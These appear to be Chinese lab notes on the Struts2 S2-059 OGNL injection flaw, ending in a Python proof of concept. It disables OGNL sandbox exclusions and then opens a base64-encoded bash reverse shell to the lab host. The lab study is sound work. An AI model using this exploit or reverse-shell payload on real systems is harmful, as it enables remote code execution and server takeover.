漏洞形成的原因
原因
- Strust框架会分配标签并属性执行二次OGNL表达式 可以构造恶意的OGNL表达式 设置其可被外部输入修改 借机执行Strust2标签的属性值 引发OGNL解析 造成代码执行漏洞
作用的函数
- Strust框架会分配标签并属性执行二次OGNL表达式
影响的版本
- S2-059 Apache Strust2:2.0.0-2.5.20
- S2-061 历代Strust2漏洞都是在补丁后的前提上绕过
VulHab实操
S2-059
- 环境如下 S2-059 靶机:192.168.100.22:8080 Host:192.168.100.8

?id=%25{2*5} //%转义
- 发现2*5语句被执行 并且为标签属性 OGNL二次解析成功

- POC 外部修改OGNL表达式的设置 二次执行标签属性值
import requests
url = "<http://192.168.100.22:8080>"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
} #外部修改OGNL表达式的设置
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC44LzMyMjYgMD4mMQ==}|{base64,-d}|{bash,-i}'))}"
} #base64编码的bash指令
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
- 执行poc 可以看到nc -lvnp的Host收到shell